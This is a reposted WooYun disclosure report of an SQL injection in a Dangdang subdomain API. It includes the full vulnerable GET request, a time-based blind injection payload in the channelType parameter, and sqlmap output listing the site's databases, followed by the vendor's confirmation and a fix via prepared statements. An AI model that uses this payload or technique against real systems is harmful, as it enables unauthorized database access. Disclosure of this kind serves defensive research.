当当网分站存在SQL注入

admin 2017年4月26日11:48:18评论228 views字数 198阅读0分39秒阅读模式
摘要

2016-04-25: 细节已通知厂商并且等待厂商处理中
2016-04-25: 厂商已经确认,细节仅向厂商公开
2016-05-05: 细节向核心白帽子及相关领域专家公开
2016-05-15: 细节向普通白帽子公开
2016-05-25: 细节向实习白帽子公开
2016-06-09: 细节向公众公开

漏洞概要 关注数(4) 关注此漏洞

缺陷编号: WooYun-2016-199964

漏洞标题: 当当网分站存在SQL注入

相关厂商: 当当网

漏洞作者: Vinc

提交时间: 2016-04-25 09:38

公开时间: 2016-06-09 11:50

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: sql注入

0人收藏


漏洞详情

披露状态:

2016-04-25: 细节已通知厂商并且等待厂商处理中
2016-04-25: 厂商已经确认,细节仅向厂商公开
2016-05-05: 细节向核心白帽子及相关领域专家公开
2016-05-15: 细节向普通白帽子公开
2016-05-25: 细节向实习白帽子公开
2016-06-09: 细节向公众公开

简要描述:

- = !

详细说明:

GET包如下:

code 区域
GET /media/api.go?action=mediaRankingList&listType=sale&channelType=*&permanentId=20151109120332208112113523718686951&returnType=json&channelId=70000&clientVersionNo=5.0.0&deviceType=DDDS_ALL&start=0&end=19 HTTP/1.1
Accept: */*
Referer: http://e.dangdang.com/rank_detail_page.html
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Cookie: __permanent_id=20160423211433821241934195768855298; ddscreen=1; MDD_channelId=70000; MDD_fromPlatform=307; dest_area=country_id%3D9000%26province_id%3D173%26city_id%20%3D0%26district_id%3D0%26town_id%3D0
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,en,*
Host: e.dangdang.com
Pragma: no-cache
Cache-Control: no-cache

参数:channelType

漏洞证明:

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: #1* (URI)

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

Payload: http://e.dangdang.com:80/media/api.go?action=mediaRankingList&list

ype=sale&channelType=' AND (SELECT * FROM (SELECT(SLEEP(5)))HUfh) AND 'aSqF'='a

qF&permanentId=20151109120332208112113523718686951&returnType=json&channelId=70

00&clientVersionNo=5.0.0&deviceType=DDDS_ALL&start=0&end=19

---

[09:45:07] [INFO] testing MySQL

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option

'--time-sec')? [Y/n]

[09:45:14] [INFO] confirming MySQL

[09:45:14] [WARNING] it is very important not to stress the network adapter dur

ng usage of time-based payloads to prevent potential errors

[09:45:26] [INFO] adjusting time delay to 1 second due to good response times

[09:45:26] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL >= 5.0.0

[09:45:26] [INFO] fetching database names

[09:45:26] [INFO] fetching number of databases

[09:45:26] [INFO] retrieved: 6

[09:45:30] [INFO] retrieved: inf

[09:45:50] [ERROR] invalid character detected. retrying..

[09:45:50] [WARNING] increasing time delay to 2 seconds

ormation_schem

[09:47:59] [ERROR] invalid character detected. retrying..

[09:47:59] [WARNING] increasing time delay to 3 seconds

a

[09:48:05] [INFO] retrieved: digital

[09:49:55] [INFO] retrieved: digita

[09:51:46] [ERROR] invalid character detected. retrying..

[09:51:46] [WARNING] increasing time delay to 4 seconds

l_

[09:53:13] [ERROR] invalid character detected. retrying..

[09:53:13] [WARNING] increasing time delay to 5 seconds

search

[09:55:21] [INFO] retrieved: dpp

[09:57:30] [ERROR] invalid character detected. retrying..

[09:57:30] [WARNING] increasing time delay to 6 seconds

_datebase

[10:00:39] [INFO] retrieved: short_link

[10:05:14] [INFO] retrieved: test

available databases [6]:

[*] digital

[*] digital_search

[*] dpp_datebase

[*] information_schema

[*] short_link

[*] test

修复方案:

预编译吧

版权声明:转载请注明来源 Vinc@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-04-25 11:49

厂商回复:

感谢对当当安全的支持

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin